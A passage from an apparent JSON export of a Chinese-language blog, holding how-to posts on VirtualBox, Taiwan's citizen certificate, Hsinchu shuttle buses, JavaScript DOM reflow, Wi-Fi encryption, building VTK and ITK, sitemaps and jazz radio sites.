10\n勾選「我接受授權合約」，然後點選「下一步」。\nStep 11\n選擇安裝類型，因為我們是在 VirtualBox 中直接安裝一個新的 Windows 7，所以選擇「自定」。\nStep 12\n使用預設的硬碟，直接點選「下一步」。\nStep 13\n接著就會開始安裝，這一步要等比較久一些。\nStep 14\n安裝完後，會自動重新開機。\nStep 15\n重新開機之後，還會繼續最後的安裝動作。\nStep 16\n輸入使用者的帳號名稱。\nStep 17\n設定使用者密碼與提示。\nStep 18\n設定系統更新的政策。\nStep 19\n設定時間。\nStep 20\n設定網路，這裡因為我們是將 Windows 7 裝在 VirtualBox 中，所以正常來說會以 NAT 的方式連上網路，所以這裡選擇哪一個其實沒有太大差異（除非有特別的需求）。\nStep 21\n等待 Windows 7 準備桌面。\nStep 22\n這樣就完成了。\nStep 23\n由於我們將 Windows 7 安裝在 VirtualBox 的環境中，如果想要讓 Windows 7 可以跟原生的系統（以這個例子來說就是 Mac OS X）可以整合得更好，就要再裝一個 Gueat Additions，它可以讓邊的剪貼簿共用，也就是可以進行複製貼上的動作，另外也提供滑鼠整合與動態變更螢幕解析度等功能。\n安裝方式很簡單，在 VirtualBox 的主選單中，選擇「Device」的「Insert Guest Additions CD image」。\nStep 24\n然後在 Windows 7 中，就會出現一片 VirtualBox Guest Additions 的光碟，直接打開它。\nStep 25\n執行「VBoxWindowsAdditions」這個安裝檔。\nStep 26\n點選「是」，允許變更。\nStep 27\n開始安裝，點選「Next」。\nStep 28\n指定安裝路徑，使用預設路徑即可，點選「Next」。\nStep 29\n選擇要安裝的原件，除非你有需要使用 3D 的功能，否則直接使用預設值即可，直接點選「Install」。\nStep 30\n安裝過程會詢問是否要安裝這個軟體，請全部點選「安裝」。\n這個也一樣選擇「安裝」。\nStep 31\n安裝完成後，點選「Finish」重新開機。\nStep 32\n重新開機之後，就完成了，這時候你就可以直接用滑鼠任意調整 VirtualBox 的視窗大小，Windows 7 會自動調整他的解析度以符合整個視窗。\n另外你也可以使用 VirtualBox 的全螢幕功能，這樣使用起來跟一般的 Windows 7 沒什麼差別，而且還可以快速地在 Mac OS X 與 Windows 間切換。\n","permalink":"https://blog.gtwang.org/mac-os/mac-os-x-virtualbox-windows-7/","summary":"\u003cp\u003e這裡介紹如何在 Mac OS X 系統中，以 VirtualBox 安裝 Windows 7，讓你可以同時使用兩種作業系統。\u003c/p\u003e\n\u003cp\u003e一般 Mac OS X 的使用者如果要同時使用 Windows，最常見的做法就是安裝 \u003ca href=\"https://www.parallels.com/products/desktop/\"\u003eParallel Desktop\u003c/a\u003e 這套軟體，雖然這個軟體非常好用，但它是付費的商業軟體，如果不想額外花錢，可以改用 VirtualBox，雖然它可能不像 Parallel Desktop 功能那麼強大，不過至少基本的功能都有，還算勘用。\u003c/p\u003e","title":"在 Mac OS X 中以 VirtualBox 安裝 Windows 7"},{"content":"這裡介紹在戶政事務所申請辦理內政部的自然人憑證程序，以及該準備的資料與注意事項。\n現在許多的政府機關都朝向電子化發展，許多透過網路所提供的服務都會需要內政部的自然人憑證，有了它你就可以在家直接透過網路申辦各項業務，不用出門。\n若要申請內政部的自然人憑證，要先準備好：\n本人國民身分證正本 250 元（自然人憑證 IC 卡工本費） Email 信箱（一定要有，如果沒有請先申請一個再去！Gmail 或是 Yahoo 的都可以） 然後到各地區的戶政事務所就可以申請辦理了。申請的時候，會需要填寫這張表：\n以下這些資料就是你需要填寫的部分：\n姓名 身分證字號 Email 信箱 行動電話 用戶代碼（忘記密碼被鎖卡的時候使用，可以算是備用密碼） 填完以上的資料，交給戶政事務所的人員後，他們就會馬上製作卡片！如果沒有人排隊的話，幾分鐘後就可以拿到卡片了。\n而剛申請的自然人憑證，PIN 碼（也就是卡片的密碼）預設是出生年月日六碼，由於這個密碼不是很安全，建議上內政部憑證管理中心的網站修改（請看以下教學）。\n自然人憑證在申請之後，有效期限是 5 年，如果到期了還可以線上申請展期 3 年，所以一張卡最長可以使用 8 年。\n更改 PIN 碼（卡片密碼） 卡片申請完之後，若要更改密碼，可以上內政部憑證管理中心的網站修改密碼，而這裡修改卡片的密碼時，會需要讀卡機，請先準備好。\nStep 1\n開啓內政部憑證管理中心的網站，點選左邊選單的「修改 PIN 碼」。\nStep 2\n依照網頁中的說明，先下載安裝「gcms Plug-in」程式。\nStep 3\n下載下來的檔案是一個壓縮檔，先解壓縮。\nStep 4\n選擇解壓縮的目的地。\nStep 5\n解壓縮出來之後，會有一個安裝檔，直接執行它。\nStep 6\n選擇「執行」。\nStep 7\n安裝完成後，先把 IE 瀏覽器整個關閉後，再重新打開。\nStep 8\n輸入目前的 PIN 碼與新的 PIN 碼，然後按下「修改 PIN 碼」。\nStep 9\n把卡片插進讀卡機，按下「確定」。\nStep 10\n完成！\n這樣之後在使用自然人憑證時，就可以輸入新的密碼了。\n","permalink":"https://blog.gtwang.org/life/citizen-digital-certificate/","summary":"\u003cp\u003e這裡介紹在戶政事務所申請辦理內政部的自然人憑證程序，以及該準備的資料與注意事項。\u003c/p\u003e\n\u003cp\u003e現在許多的政府機關都朝向電子化發展，許多透過網路所提供的\u003ca href=\"https://moica.nat.gov.tw/link_1.html\"\u003e服務\u003c/a\u003e都會需要內政部的自然人憑證，有了它你就可以在家直接透過網路申辦各項業務，不用出門。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"如何申請內政部的自然人憑證？到戶政事務所就可以辦理了！"},{"content":"最近出差到新竹科學園區，坐高鐵到新竹高鐵站之後，還要再轉園區巡迴巴士才能到竹科，以下是搭車的過程。\n到了新竹高鐵站之後，若要轉乘接駁車，要走出口 4。\n從新竹高鐵站出口 4 的大門出來之後，右手邊就可以看到各種接駁車的站牌。\n而往園區的巡迴巴士是在第二排，下面這張圖是從上面看下去的角度。\n有站牌的那一排就是了。\n第二排的的第一個站牌就是園區的巡迴巴士。\n站牌上有標示「竹科園區巡迴巴士」，也有時刻表與停靠站。\n竹科的巡迴巴士有分為好幾條路線，其中有經過高鐵站的只有「橘線」，下面這張圖是橘線的巡迴巴士路線圖。\n通常如果要坐車到竹科再轉其他路線的巡迴巴士的話，就要坐到最後一站的科技生活館下車，再從那裡轉乘。\n至於時刻表可以從新竹科學園區的網站下載，不過時刻表上面的時間並不是高鐵站發車的時間，所以也只能參考。\n在坐車的時候，經過高鐵站的園區巡迴巴士雖然都是橘線的，不過會有分往科學園區與生醫園區兩種，坐的時候要看一下巴士車門旁邊的標示，如果不幸坐到往生醫園區的方向，就會繞到生醫園區停個一陣子又再回到高鐵站，接著才會開往園區，雖然都可以到園區，不過這樣會在車上坐很久。\n我第一次坐的時候，就是沒注意看，所以在新竹生物醫學園區生技大樓前面等了十幾分鐘，還好當時不趕時間。\n這是巴士內部的照片，大約可以容納十幾個人左右，下車前記得按鈴（終點站就不用了）。\n坐上橘線的巡迴巴士之後，終點站就是竹科的科技生活館，大部份的人都會坐到那裡再轉車，如果第一次去不熟悉路線的話，就要注意一下，如果發現大家都下車的時候，大概就是到了。\n從民國 105 年開始，竹科管理局又加開了綠能公車，這台車同樣也是在高鐵站與科技生活館中間接駁。\n雖然綠能公車的起點與終點跟橘線一樣都是高鐵站與科技生活館，不過行經的路線不太一樣，他是走興隆大橋，中途會經過竹中火車站與金山街，這是路線圖：\n接駁車上現在都有免費的 WiFi 無線網路，輸入 iTwaian 的帳號就可以使用。\n","permalink":"https://blog.gtwang.org/life/hsinchu-science-park-bus/","summary":"\u003cp\u003e最近出差到新竹科學園區，坐高鐵到新竹高鐵站之後，還要再轉園區巡迴巴士才能到竹科，以下是搭車的過程。\u003c/p\u003e\n\u003cp\u003e到了新竹高鐵站之後，若要轉乘接駁車，要走出口 4。\u003c/p\u003e","title":"如何從新竹高鐵站搭園區巡迴巴士到科學園區？"},{"content":"在開發 RIA 的過程中，會常常使用到 JavaScript 來變更網頁元素，甚至增加新的網頁元素，而不同的操作方式也會對執行效能有所影響。\n瀏覽器在顯示網頁時，會需要計算每一個網頁元素應該放置在哪個位置，這個計算過程就稱為瀏覽器回流（browser reflow）。當我們對 DOM 進行操作（例如更改元素的 CSS 樣式、大小等）或是改變視窗大小時，也會造成瀏覽器的回流，由於瀏覽器的流回需要耗費時間，所以如果可以盡量減少回流，就可以增加整個網頁應用程式的效率。\n在操作 DOM 的時候，只會有兩種情況，一種是更動記有的元素，另外一種則是加入新的，以下有四種設計模式（patterns），提供了在這兩種狀況下，減低瀏覽器回流的方式。\nCSS 的 Class 變更 這種方式可以讓瀏覽器一次變更多個 CSS 樣式屬性，套用至一個網頁元素以及其所有的子元素（descendants）上，而且只需要耗費一次的瀏覽器回流。\n問題 假設我們寫一個 JavaScript 函數，用來更改網頁元素的 CSS 屬性：\nfunction selectAnchor(element) { element.style.fontWeight = \u0026#39;bold\u0026#39;; element.style.textDecoration = \u0026#39;none\u0026#39;; element.style.color = \u0026#39;#000\u0026#39;; } 這樣的方式會造成瀏覽器每次更動 DOM 時，都進行一次回流。\n解決方案 建立一個包含所有的屬性的 CSS class：\n.selectedAnchor { font-weight: bold; text-decoration: none; color: #000; } 然後將這個 CSS class 套用至網頁元素上，這樣就可以讓瀏覽器只耗費一次的回流：\nfunction selectAnchor(element) { element.className = \u0026#39;selectedAnchor\u0026#39;; } 以 DocumentFragment 處理元素變更 這種方式可以讓我們一次變更多個網頁元素，但是只耗費一次的瀏覽器回流。實作的方式是在 DOM 之外建立一個 DocumentFragment，將所有要變更的元素都先放在這個 DocumentFragment 之下，處理完之後，再一次將所有的元素移回 DOM 之中，如此一來不管變更多少元素，都只會耗費一次的瀏覽器回流。\n問題 下面這個 JavaScript 函數會變更指定元素中所有超連結的 className 屬性，一般我們都會使用迴圈的方式對每一個超連結做變更，不過這樣的方式會造成大量的瀏覽器回流。\nfunction updateAllAnchors(element, anchorClass) { var anchors = element.getElementsByTagName(\u0026#39;a\u0026#39;); for (var i = 0, length = anchors.length; i \u0026lt; length; i ++) { anchors[i].className = anchorClass; } } 解決方案 如果要避免產生大量的瀏覽器回流，可以將包含超連結的網頁元素先從 DOM 中移除，等到更改完 className 屬性之後，再將其放回原先的位置。\n為了可以達到這樣的目的，我們必須些寫一個小函數，它不只會把元素從 DOM 中移除，還會傳回一個將元素放回 DOM 用的函數。\n/** * 從 DOM 移除指定的元素，並且傳回將該元素放回 DOM 用的函數 * @param element {Element} 要暫時移除的元素 * @return {Function} 用來將元素放回原來位置的函數 **/ function removeToInsertLater(element) { var parentNode = element.parentNode; var nextSibling = element.nextSibling; parentNode.removeChild(element); return function() { if (nextSibling) { parentNode.insertBefore(element, nextSibling); } else { parentNode.appendChild(element); } }; } 使用方式就是在變更 className 屬性之前，先以 removeToInsertLater() 將該元素暫時移除，等到變更完成後再將其放回。\nfunction updateAllAnchors(element, anchorClass) { var insertFunction = removeToInsertLater(element); var anchors = element.getElementsByTagName(\u0026#39;a\u0026#39;); for (var i = 0, length = anchors.length; i \u0026lt; length; i ++) { anchors[i].className = anchorClass; } insertFunction(); } 建立單一元素 這個設計模式可以讓我們在建立單一網頁元素時，不管建立過程多繁複，都只需要產生一次的瀏覽器回流。\n問題 下面這個函數會建立一個新的網頁元素，將該元素加入至 DOM，並設定一些屬性。這樣的狀況會產生三次的瀏覽器回流。\nfunction addAnchor(parentElement, anchorText, anchorClass) { var element = document.createElement(\u0026#39;a\u0026#39;); parentElement.appendChild(element); element.innerHTML = anchorText; element.className = anchorClass; } 解決方案 解決方法很簡單，只要將插入 DOM 的動作放在最後，即可將回流次數降低為一次。\nfunction addAnchor(parentElement, anchorText, anchorClass) { var element = document.createElement(\u0026#39;a\u0026#39;); element.innerHTML = anchorText; element.className = anchorClass; parentElement.appendChild(element); } 以 DocumentFragment 建立多個元素 這個做法跟上面使用 DocumentFragment 變更元素的方式類似，只不過是用於新增多個元素而已。\n問題 這個函數會新增多個超連結元素，並且會產生十次的瀏覽器回流。\nfunction addAnchors(element) { var anchor; for (var i = 0; i \u0026lt; 10; i ++) { anchor = document.createElement(\u0026#39;a\u0026#39;); anchor.innerHTML = \u0026#39;test\u0026#39;; element.appendChild(anchor); } } 解決方案 將所有新增的元素先放在 DocumentFragment 中，最後再一次放進 DOM，這樣就可以只耗費一次瀏覽器回流。\nfunction addAnchors(element) { var anchor, fragment = document.createDocumentFragment(); for (var i = 0; i \u0026lt; 10; i ++) { anchor = document.createElement(\u0026#39;a\u0026#39;); anchor.innerHTML = \u0026#39;test\u0026#39;; fragment.appendChild(anchor); } element.appendChild(fragment); } 參考資料 Google Developers ","permalink":"https://blog.gtwang.org/programming/javascript-dom-manipulation/","summary":"\u003cp\u003e在開發 RIA 的過程中，會常常使用到 JavaScript 來變更網頁元素，甚至增加新的網頁元素，而不同的操作方式也會對執行效能有所影響。\u003c/p\u003e\n\u003cp\u003e瀏覽器在顯示網頁時，會需要計算每一個網頁元素應該放置在哪個位置，這個計算過程就稱為\u003ca href=\"https://www-archive.mozilla.org/newlayout/doc/reflow.html\"\u003e瀏覽器回流（browser reflow）\u003c/a\u003e。當我們對 DOM 進行操作（例如更改元素的 CSS 樣式、大小等）或是改變視窗大小時，也會造成瀏覽器的回流，由於瀏覽器的流回需要耗費時間，所以如果可以盡量減少回流，就可以增加整個網頁應用程式的效率。\u003c/p\u003e","title":"加速 JavaScript 執行效率的 DOM 操作技巧（降低瀏覽器回流）"},{"content":"這裡解釋為什麼 Wi-Fi 無線網路的加密很重要，如果無線網路沒有設定密碼會有什麼影響。\nWi-Fi 無線網路目前在一般的家庭中已經很普遍了，不過許多人在架設 Wi-Fi 無線網路時，都沒有加密的習慣，而這個狀況因為廠商將無線網路路由器加上一個預設的密碼之後，有改善不少，不過還是有許多人依然使用未經加密的無線網路。\n架設未經加密的無線網路事實上存在許多問題，不論你是要跟大家分享或是忘了設定密碼，都會對你產生一定的風險。\n法律問題 法律問題是最麻煩的一個，例如有人使用你的 Wi-Fi 網路進行一些非法的活動，如果嚴重到警方介入調查的話，查到最後可能就會查到你的頭上，因為這個網路是你架設的，在 ISP 那邊登記的名字是你，當然這並不代表你會因此吃上官司（事實上也不太可能），不過會有這樣的風險。\n最常見的例子就是如果你設了一個 Wi-Fi 網路，而別人用你的網路抓 BT（BitTorrent）上非法盜版的軟體，如果剛好被警方查到的話，那個 IP 位址從 ISP 那邊查出來就會是你的名子，但是你可能完全不知道有這回事。\n竊聽問題 當你使用一個為加密的 Wi-Fi 無線網路時，大部分的資料都是以未加密的形式傳送，以瀏覽網頁而言，除非你使用 HTTPS 加密的方式來瀏覽網頁，否則別人可以輕而易舉的看到你所瀏覽的網頁內容。\n之前 Google 街景車就是這樣收集了非常大量的個人資料，其實它只是在車上裝設 Wi-Fi 的接收設備，紀錄收到的資料而已，並沒有對這些網路有入侵的動作，不過縱使如此，也已經收到了非常大量的使用者資訊。\n暴露自己的電腦 在 Windows 中當你第一次連線到一個無線網路時，系統會詢問你該網路的「網路位置」，然後自動依照連線的網路類型設定適當的防火牆與安全性設定，如果你使用自己家裡的無線網路，通常都是選擇「家用網路」，在這個設定之下，系統開啟家用網路的「網路探索」，它可讓您看到網路上的其他電腦與裝置，也可以讓其他網路使用者看到你的電腦。\n這時候如果你的 Wi-Fi 網路是沒有加密的，那麼這個網路就會從「家用網路」轉為「公用網路」的性質，如果你的設定還是選擇「家用網路」的話，別人就可以透過網路看到你所有設定共用的檔案或印表機。\n網路頻寬問題 縱使你的網路頻寬很大，但是如果有人 24 小時都使用 BT 在下載資料，多少都會造成影響，例如網頁載入速度變慢等。\n而如果你的網路是一般頻寬有限的 ADSL，那麼這個問題會更嚴重，很容易就會造成網路塞車，甚至網頁開不起來的狀況。\n加密你的網路 如果你加的 Wi-Fi 無線網路還是處於為加密的狀態，做簡單的方式就是啟動 WPA 加密，並設定一組密碼，這樣就可以讓自己的 Wi-Fi 無線網路有最基本的保障。\n參考資料 HTG ","permalink":"https://blog.gtwang.org/tips/wi-fi-security-issue/","summary":"\u003cp\u003e這裡解釋為什麼 Wi-Fi 無線網路的加密很重要，如果無線網路沒有設定密碼會有什麼影響。\u003c/p\u003e\n\u003cp\u003eWi-Fi 無線網路目前在一般的家庭中已經很普遍了，不過許多人在架設 Wi-Fi 無線網路時，都沒有加密的習慣，而這個狀況因為廠商將無線網路路由器加上一個預設的密碼之後，有改善不少，不過還是有許多人依然使用未經加密的無線網路。\u003c/p\u003e","title":"Wi-Fi 無線網路加密與設定密碼的重要性"},{"content":"Sharrre 是一個可以讓你自己設計社群分享按鈕的 jQuery plugin，透過 CSS 的設定讓按鈕可以符合網站整體風格。\n現在的網站都會放置一些社群網站的分享按鈕，例如 facebook 、 twitter 或 Google+ 等，不過因為各家的分享按鈕都有些差異，而且也不見得可以跟自己的網站風格搭配。\nSharrre 是一個社群分享按鈕 jQuery plugin，它整合了各種社群網站的分享按鈕功能，包含 Google+、facebook、twitter、Linkedin、Delicious 等，可以讓設計者一次就在網站上放置各種按鈕，而且還可以使用 CSS 來針對按鈕的樣式做設計。\n名稱：Sharrre\n網址：https://sharrre.com/\n這是一個使用 Sharrre 的一個範例：\n實際的 demo 可以參考 https://sharrre.com/#demos。\n若要使用 Sharrre，首先要從 GitHub 下載他的 JavaScript，然後就像一般的函式庫一樣加載網頁中即可。\n如果要讓 Google+ 按鈕顯示數字，就要額外下載 sharrre.php 這個 PHP 檔案，要放在自己的伺服器中，並在使用時以 urlCurl 這個參數指定放置的位置，這樣才能讓 Google+ 正常顯示。\nSharrre 基本的用法如下：\n$(\u0026#39;#share\u0026#39;).sharrre({ share: { googlePlus: true, facebook: true, twitter: true }, url: \u0026#39;https://sharrre.com/\u0026#39; }); 基本上不管是哪一個社群網站的按鈕，以 Sharrre 產生的方式都差不多，在 Sharrre 的官方網站上有許多的範例程式，有興趣的可以參考。以下是一些實際的範例，他們也都是使用 Sharrre 來建立社群分享按鈕的。\n","permalink":"https://blog.gtwang.org/web-development/sharrre-jquery-plugin/","summary":"\u003cp\u003eSharrre 是一個可以讓你自己設計社群分享按鈕的 jQuery plugin，透過 CSS 的設定讓按鈕可以符合網站整體風格。\u003c/p\u003e\n\u003cp\u003e現在的網站都會放置一些社群網站的分享按鈕，例如 facebook 、 twitter 或 Google+ 等，不過因為各家的分享按鈕都有些差異，而且也不見得可以跟自己的網站風格搭配。\u003c/p\u003e","title":"Sharrre：可以自己設計社群分享按鈕的 jQuery Plugin"},{"content":"這裡簡單介紹在 Linux 中以 Git 下載、編譯與安裝最新版 VTK 函式庫的流程。\nVTK 這套函式庫發展得很迅速，有時候想要使用一些新的功能，或是解決一些 bugs，就會需要安裝最新的版本，這裡介紹如何在 Linux 環境下，手動從 Git 伺服器下載最新的 VTK 原始碼，自行編譯與安裝。\nStep 1\n以 git 下載最新版的 VTK 原始碼。\ngit clone git://gitorious.org/kitware/vtk.git 輸出大約會像這樣\nCloning into \u0026#8216;vtk\u0026#8217;\u0026#8230; remote: Counting objects: 372338, done. remote: Compressing objects: 100% (86600/86600), done. remote: Total 372338 (delta 289748), reused 361991 (delta 281368) Receiving objects: 100% (372338/372338), 101.51 MiB | 1.40 MiB/s, done. Resolving deltas: 100% (289748/289748), done. Checking connectivity\u0026#8230; done 下載完成後，應該會產生一個名稱為 vtk 的目錄，這個目錄中包含所有 VTK 最新版的原始碼。\nStep 2\n建立一個編譯用的目錄，執行 cmake，建立基本編譯所需要的環境與設定。\nmkdir vtk-build cd vtk-build cmake ../vtk Step 3\n執行 cmake 之後，會產生一個 CMakeCache.txt 檔，這個檔案包含各種編譯與安裝的參數設定，這裡請依照自己的需求做設定，以下是我的例子：\n// 編譯 Qt 模組 VTK_Group_Qt:BOOL=ON // 設定安裝路徑 CMAKE_INSTALL_PREFIX:PATH=/usr/local/vtk-6.2 修改好之後，再執行一次\ncmake ../vtk 在執行 cmake 時，請注意他的輸出，正常的輸出結尾應該會像這樣\n[略] -- Configuring done -- Generating done -- Build files have been written to: /home/seal/tmp/vtk-build 如果出現錯誤就表示設定有問題，最常見的的問題就是某些東西找不到。\nStep 4\n執行 make 編譯，因為 VTK 這個函式庫很大，編譯要很久，你可以使用 -j 參數讓 make 可以同時執行多個 jobs 來加速編譯的速度，例如：\nmake -j4 這樣 make 會同時執行 4 個編譯的 jobs，讓編譯的速度加快很多。\nStep 5\n編譯完成後，執行\nmake install 這樣就會將 VTK 安裝至 CMAKE_INSTALL_PREFIX 所指定的路徑中了。\n","permalink":"https://blog.gtwang.org/linux/vtk-git-download-compile-install/","summary":"\u003cp\u003e這裡簡單介紹在 Linux 中以 Git 下載、編譯與安裝最新版 VTK 函式庫的流程。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/programming/vtk-visualization-toolkit/\"\u003eVTK\u003c/a\u003e 這套函式庫發展得很迅速，有時候想要使用一些新的功能，或是解決一些 bugs，就會需要安裝最新的版本，這裡介紹如何在 Linux 環境下，手動從 Git 伺服器下載最新的 VTK 原始碼，自行編譯與安裝。\u003c/p\u003e","title":"以 Git 下載、編譯與安裝最新版的 VTK 視覺化工具函式庫（Linux 環境）"},{"content":"這裡介紹在 Linux 中安裝 InsightToolkit（ITK）函式庫的流程。\nITK 函式庫是一個開放原始碼的影像處理函式庫，主要用於影像的 segmentation 與 registration，以下是 ITK 在 Linux 下使用 CMake 安裝的流程。\nStep 1\n從 InsightToolkit 的網站下載其原始碼：\nwget http://downloads.sourceforge.net/project/itk/itk/4.5/InsightToolkit-4.5.2.tar.gz Step 2\n解壓縮：\ntar zxvf InsightToolkit-4.5.2.tar.gz Step 3\n建立編譯用的目錄，並執行 cmake 建立編譯環境：\nmkdir itk-build cd itk-build cmake ../InsightToolkit-4.5.2 Step 4\n執行 cmake 之後，會產生一個 CMakeCache.txt 檔，這個檔案包含各種編譯與安裝的參數設定，這裡請依照自己的需求做設定，以下是我的例子：\n// 編譯 Shared Libraries BUILD_SHARED_LIBS:BOOL=ON // 設定安裝路徑 CMAKE_INSTALL_PREFIX:PATH=/usr/local 修改好之後，再執行一次\ncmake ../InsightToolkit-4.5.2 在執行 cmake 時，請注意他的輸出，正常的輸出結尾應該會像這樣\n[略] -- Configuring done -- Generating done -- Build files have been written to: /home/seal/tmp/itk-build 如果出現錯誤就表示設定有問題，最常見的的問題就是某些東西找不到。\nStep 4\n執行 make 編譯，因為 ITK 這個函式庫很大，編譯要很久，你可以使用 -j 參數讓 make 可以同時執行多個 jobs 來加速編譯的速度，例如：\nmake -j4 這樣 make 會同時執行 4 個編譯的 jobs，讓編譯的速度加快很多。\nStep 5\n編譯完成後，執行\nmake install 這樣就會將 ITK 安裝至 CMAKE_INSTALL_PREFIX 所指定的路徑中了。\n","permalink":"https://blog.gtwang.org/linux/linux-compile-install-insighttoolkititk/","summary":"\u003cp\u003e這裡介紹在 Linux 中安裝 InsightToolkit（ITK）函式庫的流程。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.itk.org/\"\u003eITK\u003c/a\u003e 函式庫是一個開放原始碼的影像處理函式庫，主要用於影像的 segmentation 與 registration，以下是 ITK 在 Linux 下使用 CMake 安裝的流程。\u003c/p\u003e","title":"在 Linux 中編譯與安裝 InsightToolkit（ITK）影像處理函式庫"},{"content":"Broken Link Checker 是一個無效超連結的線上檢查工具，可以自動找出網站上有問題的超連結。\n一般的網頁或是部落格文章，經過一段時間的後很容易出現一些無效的超連結，最常發生的就是連結的網頁或圖片搬家了，或是整個網站都關閉了，造成使用者點下去就會出現 404 的錯誤訊息或是根本找不到網站。\nOnline Broken Link Checker 是一個免費、不用註冊的超連結線上檢測工具，只要填入自己網站的網址，它就會自動檢查整個網站上的所有網頁，找出有問題的連結。\n名稱：Broken Link Checker\n網址：https://www.brokenlinkcheck.com/\n檢測之前要再輸入一個驗證碼，就可以開始檢測網站了。\n按下「Find broken links now!」，就會開始檢查，如果發現了有問題的連結，就會列在下方的表格中。\n表格中的第二欄的 Broken link 就是出問題的超連結，第三欄的 Page where found 則是這個超連結出現在哪裡，而最後一欄的 Server response 則是問題的類型。\n在問題的類型上，最常見的就是 404 錯誤，它代表這個連結的網頁或圖片已經不見了（已經被刪除或是搬家了），而 bad host 則是代表連結的網站整個都不見了。\n有了這張表之後，你就可以依照它去修正自己的網頁內容了。\n","permalink":"https://blog.gtwang.org/web-development/broken-link-check-tools/","summary":"\u003cp\u003eBroken Link Checker 是一個無效超連結的線上檢查工具，可以自動找出網站上有問題的超連結。\u003c/p\u003e\n\u003cp\u003e一般的網頁或是部落格文章，經過一段時間的後很容易出現一些無效的超連結，最常發生的就是連結的網頁或圖片搬家了，或是整個網站都關閉了，造成使用者點下去就會出現 404 的錯誤訊息或是根本找不到網站。\u003c/p\u003e","title":"Broken Link Checker：網頁無效超連結線上檢查工具"},{"content":"這裡介紹如何將新的 Blogger 部落格網址登錄至各大搜尋引擎並提交網站地圖（sitemap），增加網站的曝光率。\n如果是新成立或是剛剛變更網址的網站，在搜尋引擎中是找不到到，這時候就要將網站的網址登入至各大搜尋引擎，才能夠讓網站出現在一般的搜尋引擎中。以下整理了一些各大搜尋引擎登錄網站的資訊，以及如何提交 Blogger 部落格網站地圖的教學。\n提交網址 這裡整理一些常用的搜尋引擎登錄工具，根據 StatCounter 的資料，在台灣最重要的就是 Google 與 Yahoo，而 Yahoo 現在的搜尋引擎是由 Bing 所提供的，所以在登錄時只需要登錄至 Google 與 Bing 即可：\nGoogle：https://www.google.com/webmasters/tools/submit-url Bing：http://www.bing.com/toolbox/submit-site-url 如果是大陸地區的搜尋引擎，比較常見的有：\n百度：http://zhanzhang.baidu.com/sitesubmit/index 360 搜索：http://info.so.360.cn/site_submit.html 搜狗：http://www.sogou.com/feedback/urlfeedback.php 根據 CNZZ 的資料，大陸地區最主要的搜尋引擎其實就是百度與 360 搜索，其餘的要不要一起登錄就看個人決定了，這裡與這裡有一些大陸的搜尋引擎列表。\n國外的部分，在 FreeWebSubmission 的網站上列出了很多搜尋引擎與登錄入口，另外 entireweb 這個工具可以幫助你一次登錄好幾個比較重要的搜尋引擎。\n提交網站地圖（sitemap） 在登錄搜尋引擎時，如果將自己的網站地圖提供給搜尋引擎，可以加速整個網站被收錄的速度。\n如果要產生 Blogger 部落格的網站地圖，可以使用 XML Sitemap for Blogger 這個工具，只要填入自己的部落格網址，按下「Generate Sitemap」，它就會產生整個網站地圖。\n它所產生的輸出會像這樣： # Blogger Sitemap generated on 2014.05.01\nUser-agent: *\nDisallow: /search\nAllow: /\nSitemap: http://www.gtwang.org/atom.xml?redirect=false\u0026start-index=1\u0026max-results=500\nSitemap: http://www.gtwang.org/atom.xml?redirect=false\u0026start-index=501\u0026max-results=500 最後兩行 Sitemap: 開頭的網址就是我們的網站地圖。\nhttp://www.gtwang.org/atom.xml?redirect=false\u0026amp;start-index=1\u0026amp;max-results=500 http://www.gtwang.org/atom.xml?redirect=false\u0026amp;start-index=501\u0026amp;max-results=500 提交網站地圖給 Google 若要提交網站地圖給 Google 搜尋引擎可以使用 Google 網站管理員，把自己的網站加進去並且驗證成功之後，就可以在 Sitemap 的頁面，點選「新增/測試 SITEMAP」，把剛剛上面產生的網站地圖提交給 Google。\n如果你的網站地圖不只一個，記得全部都要提交上去。提交之後，上面會顯示已送出的與已建立索引的網頁數，通常要等段時間之後才會建立索引，所以可以過兩天再進來看看。\n提交網站地圖給 Bing Bing 也有提供一個網站管理員的工具，使用的方式跟 Google 的差不多，把網站加進去並驗證之後，就可以提交自己的網站地圖了。\n提交之後，同樣也要等一段時間。\n","permalink":"https://blog.gtwang.org/web-development/blogger-sitemap-search-engine-submition/","summary":"\u003cp\u003e這裡介紹如何將新的 Blogger 部落格網址登錄至各大搜尋引擎並提交網站地圖（sitemap），增加網站的曝光率。\u003c/p\u003e\n\u003cp\u003e如果是新成立或是剛剛變更網址的網站，在搜尋引擎中是找不到到，這時候就要將網站的網址登入至各大搜尋引擎，才能夠讓網站出現在一般的搜尋引擎中。以下整理了一些各大搜尋引擎登錄網站的資訊，以及如何提交 Blogger 部落格網站地圖的教學。\u003c/p\u003e","title":"新 Blogger 部落格網址登錄搜尋引擎，並提交網站地圖（Sitemap）"},{"content":"這裡整理了一些可以免費線上收聽爵士樂（jazz）的網站，很適合一邊工作一邊聽。\n對於一些需要長時間坐在辦公室工作的人來說，如果在工作時可以聽一些自己喜歡的音樂，應該會對工作有些幫助，至少我個人是這樣感覺，尤其是在寫程式遇到 bugs 找不到的時候，有好聽的音樂可以讓心情不致於太差。\nJAZZRADIO.com JAZZRADIO.com 是一個可以免費線上收聽爵士樂的廣播網站，上面有許多類型的爵士樂，例如 Class Jazz、Smooth Jazz、Saxophone Jazz 等數十種，你可以選擇自己喜歡的頻道收聽。\n每個頻道都有提供 mp3、Windows media audio 與 AAC-HE 三種音樂格式。\n如果不想要開啟網頁來收聽，也可以在註冊之後，使用 Winamp、iTunes、VLC 或 Real Player 等播放軟體來收聽。點選播放版面上方的小板手圖示，就可以選擇播放的軟體，我個人是喜歡使用 iTunes 聽音樂。\n如果選擇 Winamp/iTunes/VLC 這個格式，按下「Save」之後，會下載一個 pls 檔，用播放軟體（如 iTunes）打開就可以直接收聽了。\n這裡我發現 JAZZRADIO.com 在下載 pls 檔的時候，有個小 bug，連到他的下載網址 http://listen.jazzradio.com/public1/smoothjazz.pls?listen_key=null 會出現 Invalid Listen Key 的錯誤訊息，只要把網址最後的 ?listen_key=null 